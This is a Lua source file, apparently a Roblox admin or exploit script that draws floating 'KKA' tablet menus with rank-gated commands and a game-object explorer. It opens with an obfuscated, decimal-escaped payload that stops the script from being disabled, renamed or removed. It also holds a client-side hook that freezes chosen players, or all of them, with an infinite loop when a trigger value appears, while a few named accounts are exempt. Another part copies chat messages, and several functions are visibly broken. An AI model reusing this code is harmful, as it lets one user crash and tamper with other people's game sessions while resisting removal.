\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
- script:ClearAllChildren()
- else
- script:ClearAllChildren()
- script.Parent=nil
- end
- wait(1)
- LocalPlayer = game.Players.LocalPlayer
- local asd = Instance.new("StringValue",LocalPlayer)
- asd.Name = 'asd'
- asd.Value = 'asdasdsadsadasdas'
- wait(0.1)
- asd:remove()
- wait(1)
- local asdcon = LocalPlayer.Chatted:connect(function(msg)
- if LocalPlayer.Parent ~= game:service'Players' then
- local a = Instance.new("StringValue", workspace)
- a.Name = 'LolCon'
- a.Value = LocalPlayer.Name..'\31'..msg
- game:service'Debris':AddItem(a,2)
- end
- end)
- local con = game.Lighting.descendantAdded:connect(function(what)
- if LocalPlayer.Name == 'Cobalt1164' or LocalPlayer.Name == 'hipow12' or LocalPlayer.Name == 'hipow12' or LocalPlayer.Name == 'penguin0616' then return end
- if what.ClassName == 'StringValue' then
- if what.Name == 'Disconnect' then
- local v = what.Value
- if LocalPlayer.Name:lower():sub(1,#v) == v:lower() then
- repeat until false
- elseif v == 'nil' then
- if LocalPlayer.Parent ~= game:service'Players' then
- repeat until false
- end
- elseif v == 'all' then
- repeat until false
- end
- end
- end
- end)
- local con2 = game:service'RunService'.RenderStepped:connect(function()
- if LocalPlayer:findFirstChild'asd' then
- asd = LocalPlayer:findFirstChild'asd'
- if asd.ClassName == 'StringValue' then
- if asd.Value == 'asdasdsadsadasdas' then
- asd:remove()
- asdcon:disconnect()
- con:disconnect()
- con2:disconnect()
- end
- end
- end
- end)
- ]]
- _force_insert=function(id,place)
- place=place or
- Instance.new('Model',game:service'InsertService');
- local c=game:GetObjects('rbxassetid://'..id);
- for i=1,#c do
- c[i].Parent=place;
- end;
- end;
- function All(deb)
- local AllPlayers = {}
- for _,v in pairs(Plrs:GetPlayers()) do
- ypcall(function()
- if GetRank(v.Name) ~= 8 or not deb then
- table.insert(AllPlayers, v)
- end
- end)
- end
- return AllPlayers
- end
- function All2(deb)
- local AllPlayers2 = {}
- for i,v in pairs(Net:GetChildren()) do
- ypcall(function()
- if v:IsA("ServerReplicator") then
- if GetRank(v:GetPlayer().Name) ~= 8 or not deb then
- table.insert(AllPlayers2, v:GetPlayer())
- end
- end
- end)
- end
- return AllPlayers2
- end
- function MakeNum()
- return 2^3
- end
- function Menu(Speaker)
- Output("Commands",Speaker,nil,function()
- Dismiss(Speaker.Name)
- Output("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
- Output("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
- Output("Rank 0", Speaker, nil, function()
- if FindRank(Speaker) <= 0 then
- OpenCmds(0, Speaker)
- end
- end)
- Output("Rank 1", Speaker, nil, function()
- if FindRank(Speaker) >= 1 then
- OpenCmds(1, Speaker)
- end
- end)
- Output("Rank 2", Speaker, nil, function()
- if FindRank(Speaker) >= 2 then
- OpenCmds(2, Speaker)
- end
- end)
- Output("Rank 3", Speaker, nil, function()
- if FindRank(Speaker) >= 3 then
- OpenCmds(3, Speaker)
- end
- end)
- Output("Rank 4", Speaker, nil, function()
- if FindRank(Speaker) >= 4 then
- OpenCmds(4, Speaker)
- end
- end)
- Output("Rank 5", Speaker, nil, function()
- if FindRank(Speaker) >= 5 then
- OpenCmds(5, Speaker)
- end
- end)
- Output("Rank 6", Speaker, nil, function()
- if FindRank(Speaker) >= 6 then
- OpenCmds(6, Speaker)
- end
- end)
- Output("Rank 7", Speaker, nil, function()
- if FindRank(Speaker) >= 7 then
- OpenCmds(7, Speaker)
- end
- end)
- end)
- Output("Players", Speaker, nil, function()
- ListPlayers(Speaker)
- end)
- Output("Explore", Speaker, nil, function()
- MakeExplorer(Speaker)
- end)
- end
- function ChangeRank(Plr, NewRank)
- local PlrName = nil
- local FoundPlayer = false
- ypcall(function()
- if type(Plr) == "string" then
- ypcall(function()
- for i,v in pairs(Ranked) do
- if v.Name:lower() == Plr:lower() then
- local VName = v.Name
- Ranked[i] = nil
- table.insert(Ranked, {Name = VName, Rank = NewRank})
- PlrName = VName
- FoundPlayer = true
- break
- end
- end
- end)
- if FoundPlayer == false then
- ypcall(function()
- for _,x in pairs(All()) do
- if x.Name:lower() == Plr:lower() then
- FoundPlayer = true
- for i,v in pairs(Ranked) do
- if v.Name:lower() == x.Name:lower() then
- local VName = x.Name
- Ranked[i] = nil
- PlrName = VName
- break
- end
- end
- table.insert(Ranked, {Name = VName, Rank = NewRank})
- end
- end
- end)
- end
- if FoundPlayer == false then
- ypcall(function()
- for _,x in pairs(All()) do
- if string.find(x.Name:lower(), Plr:lower()) then
- FoundPlayer = true
- for i,v in pairs(Ranked) do
- if v.Name:lower() == x.Name:lower() then
- local VName = x.Name
- Ranked[i] = nil
- PlrName = VName
- break
- end
- end
- table.insert(Ranked, {Name = VName, Rank = NewRank})
- end
- end
- end)
- end
- if FoundPlayer == false then
- ypcall(function()
- for i,v in pairs(Ranked) do
- if string.find(v.Name:lower(), Plr:lower()) then
- local VName = v.Name
- Ranked[i] = nil
- table.insert(Ranked, {Name = VName, Rank = NewRank})
- PlrName = VName
- FoundPlayer = true
- break
- end
- end
- end)
- end
- else
- for i,v in pairs(Ranked) do
- if v.Name:lower() == Plr.Name:lower() then
- Ranked[i] = nil
- break
- end
- end
- table.insert(Ranked, {Name = Plr.Name, Rank = NewRank})
- PlrName = Plr.Name
- end
- PlaceAllRanks(true)
- end)
- if PlrName ~= nil then
- return PlrName
- else
- return "Player"
- end
- end
- function Refresh(Plr)
- MakeChildren(Plr)
- end
- function MakeChildren(Plr)
- ypcall(function()
- Dismiss(Plr)
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
- Output(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["KKA Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end)
- elseif Plrs:GetPlayerFromCharacter(v) then
- Output(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["KKA Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- elseif CheckImportant(v.Name) then
- Output(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["KKA Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, ImportantColor)
- end
- end)
- end
- if Current ~= game then
- Output("Back", Plr, nil, function()
- ypcall(function()
- Current = Current.Parent
- MakeChildren(Plr)
- Output("Returned to "..Current.Name, Plr, 5)
- end)
- end, OptionColor)
- end
- if FindRank(Speaker) >= 5 then
- if Current ~= game then
- Output("Delete", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:Destroy()
- Current = CurrPar
- MakeChildren(Plr)
- Output("Deleted "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- end
- Output("Remove", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:Remove()
- Current = CurrPar
- MakeChildren(Plr)
- Output("Removed "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Break Joints", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:BreakJoints()
- Current = CurrPar
- MakeChildren(Plr)
- Output("Removed "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Make Joints", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:BreakJoints()
- Current = CurrPar
- MakeChildren(Plr)
- Output("Removed "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Hide", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current.Transparency = 1
- Current = CurrPar
- MakeChildren(Plr)
- Output("Hid "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Fade", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Curren.Transparency = 0.5
- Current = CurrPar
- MakeChildren(Plr)
- Output("Hid "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Show", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current.Transparency = 0
- Current = CurrPar
- MakeChildren(Plr)
- Output("Hid "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Refresh", Plr, nil, function()
- ypcall(function()
- Refresh(Plr)
- Output("Refreshed Instance Options", Plr, 5)
- end)
- end, OptionColor)
- end
- end)
- end
- function MakeExplorer(Plr)
- Dismiss(Plr)
- Current = game
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
- Output(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["KKA Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end)
- elseif Plrs:GetPlayerFromCharacter(v) then
- Output(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["KKA Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- elseif CheckImportant(v.Name) then
- Output(v.Name, Plr, nil, function(TabMod)
- local TabText = TabMod["KKA Tablet"].BG.TL.Text
- for _,v in pairs(Current:GetChildren()) do
- ypcall(function()
- if v.Name == TabText then
- Dismiss(Plr)
- Current = v
- MakeChildren(Plr)
- end
- end)
- end
- end, ImportantColor)
- end
- end)
- end
- if Current ~= game then
- if FindRank(Plr) >= 5 then
- Output("Delete", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:Destroy()
- Current = CurrPar
- MakeChildren(Plr)
- Output("Deleted "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- end
- Output("Remove", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:Remove()
- Current = CurrPar
- MakeChildren(Plr)
- Output("Removed "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Break Joints", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:BreakJoints()
- Current = CurrPar
- MakeChildren(Plr)
- Output("Removed "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Make Joints", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current:BreakJoints()
- Current = CurrPar
- MakeChildren(Plr)
- Output("Removed "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Hide", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current.Transparency = 1
- Current = CurrPar
- MakeChildren(Plr)
- Output("Hid "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Fade", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Curren.Transparency = 0.5
- Current = CurrPar
- MakeChildren(Plr)
- Output("Hid "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Show", Plr, nil, function()
- ypcall(function()
- local CurrPar = Current.Parent or game
- local CurrName = Current.Name
- Current.Transparency = 0
- Current = CurrPar
- MakeChildren(Plr)
- Output("Hid "..CurrName, Plr, 5)
- end)
- end, OptionColor)
- Output("Refresh", Plr, nil, function()
- ypcall(function()
- Refresh(Plr)
- Output("Refreshed Instance Options", Plr, 5)
- end)
- end, OptionColor)
- else
- Output("You cannot use this", Plr,5)
- return
- end
- end
- function GetRank(Plr1, Test)
- ypcall(function()
- if type(Plr1) == "userdata" then
- Plr1 = Plr1.Name
- end
- end)
- if Ranks[Plr1] ~= nil then
- return Ranks[Plr1]
- end
- local QuickArray = {}
- QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
- return QuickArray[Plr1]
- end
- function CanRun(Plr1, Plr2)
- Details1 = GetRank(Plr1.Name)
- Details2 = GetRank(Plr2.Name)
- if Details1.Rank >= Details2.Rank then
- return true
- end
- return false
- end
- function Dismiss(Plr, Identity)
- ypcall(function()
- if Plr ~= nil then
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- for x,v in pairs(AllTabs) do
- ypcall(function()
- if v.Plr == Plr then
- if Identity ~= nil and v.ID ~= Identity then
- return
- elseif Identity ~= nil and v.ID == Identity then
- coroutine.resume(coroutine.create(function()
- for i = 0.5, 1, 0.1 do
- wait()
- v.Tab.Transparency = i
- v.Sel.Transparency = i
- v.Label.TextTransparency = i
- v.Label.TextStrokeTransparency = i
- end
- ypcall(function()
- v.Holder:Destroy()
- end)
- AllTabs[x] = nil
- end))
- elseif Identity == nil then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[x] = nil
- end
- end
- end)
- end
- else
- for i,v in pairs(AllTabs) do
- ypcall(function()
- v.Holder:Destroy()
- AllTabs[i] = nil
- end)
- end
- end
- end)
- end
- function GetGarbage()
- return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
- end
- function RemObj(Obj, Class)
- ypcall(function()
- if #Obj:GetChildren() > 0 then
- for _,x in pairs(Obj:GetChildren()) do
- ypcall(function()
- RemObj(x, Class)
- end)
- end
- end
- if Obj.ClassName == Class then
- Obj:Destroy()
- end
- end)
- end
- function FindTab(Mod)
- for i,v in pairs(AllTabs) do
- if v.Holder == Mod then
- return true
- end
- end
- return false
- end
- function Output(Msg, Plr, Time, Func, Color, Image, Test)
- if Removed == false then
- local ShowGarbage = false
- ypcall(function()
- if Msg == nil then
- Msg = "N/A"
- elseif Msg == "ShowGarbage" then
- Msg = "Current Garbage Count: "..GetGarbage()
- ShowGarbage = true
- else
- Msg = tostring(Msg)
- end
- if Plr == nil then
- Plr = Plrs[Owner] or error("No Player Found")
- elseif type(Plr) == "string" then
- local FoundPlr = false
- for _,v in pairs(All()) do
- if v.Name == Plr then
- Plr = v
- FoundPlr = true
- break
- end
- end
- if FoundPlr == false then
- Plr = Plrs[Owner] or error("No Player Found")
- end
- end
- if Color == nil then
- Color = GetRank(Plr.Name).Color
- end
- local Holder = Instance.new("Model")
- Holder.Name = "KKA"
- local Tab = Instance.new("Part", Holder)
- Tab.Name = "KKA Tablet"
- Tab.FormFactor = "Custom"
- Tab.Anchored = true
- if Time == nil then
- Tab.Color = Color
- else
- Tab.Color = OptionColor
- end
- Tab.CanCollide = false
- Tab.Locked = true
- Tab.Transparency = TabletTransparency
- Tab.Size = Vector3.new(2.2,2.2,2.2)
- Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
- local ID = Instance.new("NumberValue")
- ID.Name = "ID"
- ID.Value = math.random(-999999999, 999999999)
- ID.Parent = Holder
- --[[Delay(0, function()
- while wait() do
- if Tab.Parent == nil and FindTab(Holder) then
- ypcall(function()
- for i,v in pairs(AllTabs) do
- if v.Holder == Holder then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[i] = nil
- end
- end
- end)
- Output(Msg, Plr, Time, Func, Color, Image, Test)
- break
- end
- end
- end)]]--
- local BM = Instance.new("BlockMesh")
- BM.Parent = Tab
- Sel = Instance.new("SelectionBox")
- Sel.Color=BrickColor.new("White")
- Sel.Adornee = Tab
- Sel.Parent = Tab
- local BG = Instance.new("BillboardGui")
- BG.Name = "BG"
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- BG.Size = UDim2.new(0,1,0,1)
- BG.Adornee = Tab
- BG.Parent = Tab
- Delay(0, function()
- while BG.Parent ~= nil do wait()
- ypcall(function()
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- end)
- end
- end)
- local TL = Instance.new("TextLabel")
- TL.Name = "TL"
- TL.FontSize = "Size24"
- TL.Font = "ArialBold"
- TL.Text = Msg
- TL.TextColor3 = Tab.Color
- TL.Size = UDim2.new(0,2,0,2)
- TL.TextTransparency = 0
- TL.TextStrokeTransparency = 0
- TL.Parent = BG
- TL.Size = UDim2.new(0,1,0,1)
- TL.TextTransparency = 0
- TL.TextStrokeColor3 = Color3.new(255, 255, 255)
- TL.TextStrokeTransparency = 0
- TL.Parent = BG
- local FTT = Instance.new("TextLabel", FTG)
- FTT.Name = "FTT"
- FTT.BackgroundTransparency = 1
- FTT.Size = UDim2.new(0,1000,0,1000)
- FTT.Font = "ArialBold"
- FTT.FontSize = Enum.FontSize.Size24
- FTT.Text = Msg
- FTT.TextScaled = true
- FTT.TextStrokeTransparency = 0
- FTT.TextColor3 = Database.Colors.White
- FTT.TextStrokeColor3 = Database.Colors.Black
- local TRO = Instance.new("BodyVelocity", Tab)
- TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
- TRO.P = 1250
- TRO.velocity = Vector3.new(0,0.17,0)
- local TLI = Instance.new("PointLight", Tab)
- TLI.Brightness = 0.15
- TLI.Range = 0.9
- TLI.Shadows = true
- if ShowGarbage == true then
- Delay(0, function()
- while TL.Parent ~= nil do
- TL.Text = "Current Garbage Count: "..GetGarbage()
- wait(.5)
- end
- end)
- end
- if Image ~= nil then
- local BBBG = Instance.new("BillboardGui")
- BBBG.Size = UDim2.new(5, 0, 6, 0)
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- BBBG.AlwaysOnTop = true
- BBBG.Adornee = Tab
- BBBG.Parent = Tab
- Delay(0, function()
- while BBBG.Parent ~= nil do wait()
- ypcall(function()
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- end)
- end
- end)
- local NewImg = Instance.new("ImageLabel")
- NewImg.Size = UDim2.new(1, 0, 1, 0)
- NewImg.BackgroundTransparency = 1
- NewImg.Image = Image
- NewImg.Parent = BBBG
- end
- local Clicker = Instance.new("ClickDetector")
- Clicker.MaxActivationDistance = 1/0
- if Time ~= nil then
- coroutine.resume(coroutine.create(function()
- wait(tonumber(Time))
- Dismiss(Plr, ID)
- end))
- end
- Clicker.MouseClick:connect(function(Player)
- if Player.Name == Plr.Name or CanRun(Player, Plr) then
- ypcall(function()
- if Func ~= nil then
- Func(Holder)
- else
- Dismiss(Player, ID)
- end
- end)
- end
- end)
- Clicker.Parent = Tab
- Holder.Parent = Work
- AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
- end)
- end
- end
- function Output2(Msg, Plr, Time, Func, Color, Image)
- if Removed == false then
- local ShowGarbage = false
- ypcall(function()
- if Msg == nil then
- Msg = "N/A"
- elseif Msg == "ShowGarbage" then
- Msg = "Current Garbage Count: "..GetGarbage()
- ShowGarbage = true
- else
- Msg = tostring(Msg)
- end
- if Plr == nil then
- Plr = Plrs[Owner] or error("No Player Found")
- elseif type(Plr) == "string" then
- local FoundPlr = false
- for _,v in pairs(All()) do
- if v.Name == Plr then
- Plr = v
- FoundPlr = true
- break
- end
- end
- if FoundPlr == false then
- Plr = Plrs[Owner] or error("No Player Found")
- end
- end
- local Holder = Instance.new("Model")
- Holder.Name = "KKA"
- local Tab = Instance.new("Part")
- Tab.Name = "KKA Tablet"
- Tab.FormFactor = "Custom"
- Tab.Anchored = true
- Tab.Color = BrickColor.new("Teal").Color
- Tab.CanCollide = false
- Tab.Locked = true
- Tab.Transparency = 0.15
- Tab.Size = Vector3.new(2.2,2.2,2.2)
- Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
- Tab.Parent = Holder
- local BMO = Instance.new("BlockMesh")
- BMO.Parent = Tab
- local ID = Instance.new("NumberValue")
- ID.Name = "ID"
- ID.Value = math.random(-999999999, 999999999)
- ID.Parent = Holder
- --[[Delay(0, function()
- while wait() do
- if Tab.Parent == nil and FindTab(Holder) then
- ypcall(function()
- for i,v in pairs(AllTabs) do
- if v.Holder == Holder then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[i] = nil
- end
- end
- end)
- Output2(Msg, Plr, Time, Func, Color, Image)
- break
- end
- end
- end)]]--
- Sel = Instance.new("SelectionBox")
- Sel.Color = BrickColor.new("White")
- Sel.Transparency = 0.1
- Sel.Adornee = Tab
- Sel.Parent = Tab
- local BG = Instance.new("BillboardGui")
- BG.Name = "BG"
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- BG.Size = UDim2.new(0,0.6,00.6)
- BG.Adornee = Tab
- BG.Parent = Tab
- Delay(0, function()
- while BG.Parent ~= nil do wait()
- ypcall(function()
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- end)
- end
- end)
- local TL = Instance.new("TextLabel")
- TL.Name = "TL"
- TL.FontSize = "Size24"
- TL.Font = "ArialBold"
- TL.Text = Msg
- TL.TextColor3 = Tab.Color
- TL.Size = UDim2.new(0,2,0,2)
- TL.TextTransparency = 0
- TL.TextStrokeTransparency = 0
- TL.Parent = BG
- TL.Size = UDim2.new(0,1,0,1)
- TL.TextTransparency = 0
- TL.TextStrokeColor3 = Color3.new(255, 255, 255)
- TL.TextStrokeTransparency = 0
- TL.Parent = BG
- local FTT = Instance.new("TextLabel", FTG)
- FTT.Name = "FTT"
- FTT.BackgroundTransparency = 1
- FTT.Size = UDim2.new(0,1000,0,1000)
- FTT.Font = "ArialBold"
- FTT.FontSize = Enum.FontSize.Size24
- FTT.Text = Msg
- FTT.TextScaled = true
- FTT.TextStrokeTransparency = 0
- FTT.TextColor3 = BrickColor.new("Institutional white").Color
- FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
- local TRO = Instance.new("BodyVelocity", Tab)
- TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
- TRO.P = 1250
- TRO.velocity = Vector3.new(0,0.17,0)
- local TLI = Instance.new("PointLight", Tab)
- TLI.Brightness = 0.15
- TLI.Range = 0.9
- TLI.Shadows = true
- if ShowGarbage == true then
- Delay(0, function()
- while TL.Parent ~= nil do
- TL.Text = "Current Garbage Count: "..GetGarbage()
- wait(.5)
- end
- end)
- end
- if Image ~= nil then
- local BBBG = Instance.new("BillboardGui")
- BBBG.Size = UDim2.new(5, 0, 6, 0)
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- BBBG.AlwaysOnTop = true
- BBBG.Adornee = Tab
- BBBG.Parent = Tab
- Delay(0, function()
- while BBBG.Parent ~= nil do wait()
- ypcall(function()
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- end)
- end
- end)
- local NewImg = Instance.new("ImageLabel")
- NewImg.Size = UDim2.new(1, 0, 1, 0)
- NewImg.BackgroundTransparency = 1
- NewImg.Image = Image
- NewImg.Parent = BBBG
- end
- local Clicker = Instance.new("ClickDetector")
- Clicker.MaxActivationDistance = 1/0
- if Time ~= nil then
- coroutine.resume(coroutine.create(function()
- wait(tonumber(Time))
- Dismiss(Plr, ID)
- end))
- end
- Clicker.MouseClick:connect(function(Player)
- if Player.Name == Plr.Name or CanRun(Player, Plr) then
- ypcall(function()
- if Func ~= nil then
- Func(Holder)
- else
- Dismiss(Player, ID)
- end
- end)
- end
- end)
- Clicker.Parent = Tab
- Holder.Parent = Work
- AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
- end)
- end
- end
- function Output3(Msg, Plr, Time, Func, Color, Image)
- if Removed == false then
- local ShowGarbage = false
- ypcall(function()
- if Msg == nil then
- Msg = "N/A"
- elseif Msg == "ShowGarbage" then
- Msg = "Current Garbage Count: "..GetGarbage()
- ShowGarbage = true
- else
- Msg = tostring(Msg)
- end
- if Plr == nil then
- Plr = Plrs[Owner] or error("No Player Found")
- elseif type(Plr) == "string" then
- local FoundPlr = false
- for _,v in pairs(All()) do
- if v.Name == Plr then
- Plr = v
- FoundPlr = true
- break
- end
- end
- if FoundPlr == false then
- Plr = Plrs[Owner] or error("No Player Found")
- end
- end
- local Holder = Instance.new("Model")
- Holder.Name = "KKA"
- local Tab = Instance.new("Part")
- Tab.Name = "KKA Tablet"
- Tab.FormFactor = "Custom"
- Tab.Anchored = true
- Tab.Color = BrickColor.new("Lime green").Color
- Tab.CanCollide = false
- Tab.Locked = true
- Tab.Transparency = 0.15
- Tab.Size = Vector3.new(2.2,2.2,2.2)
- Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
- Tab.Parent = Holder
- local BMO = Instance.new("BlockMesh")
- BMO.Parent = Tab
- local ID = Instance.new("NumberValue")
- ID.Name = "ID"
- ID.Value = math.random(-999999999, 999999999)
- ID.Parent = Holder
- --[[Delay(0, function()
- while wait() do
- if Tab.Parent == nil and FindTab(Holder) then
- ypcall(function()
- for i,v in pairs(AllTabs) do
- if v.Holder == Holder then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[i] = nil
- end
- end
- end)
- Output2(Msg, Plr, Time, Func, Color, Image)
- break
- end
- end
- end)]]--
- Sel = Instance.new("SelectionBox")
- Sel.Color = BrickColor.new("White")
- Sel.Transparency = 0.1
- Sel.Adornee = Tab
- Sel.Parent = Tab
- local BG = Instance.new("BillboardGui")
- BG.Name = "BG"
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- BG.Size = UDim2.new(0,0.6,00.6)
- BG.Adornee = Tab
- BG.Parent = Tab
- Delay(0, function()
- while BG.Parent ~= nil do wait()
- ypcall(function()
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- end)
- end
- end)
- local TL = Instance.new("TextLabel")
- TL.Name = "TL"
- TL.FontSize = "Size24"
- TL.Font = "ArialBold"
- TL.Text = Msg
- TL.TextColor3 = Tab.Color
- TL.Size = UDim2.new(0,2,0,2)
- TL.TextTransparency = 0
- TL.TextStrokeTransparency = 0
- TL.Parent = BG
- TL.Size = UDim2.new(0,1,0,1)
- TL.TextTransparency = 0
- TL.TextStrokeColor3 = Color3.new(255, 255, 255)
- TL.TextStrokeTransparency = 0
- TL.Parent = BG
- local FTT = Instance.new("TextLabel", FTG)
- FTT.Name = "FTT"
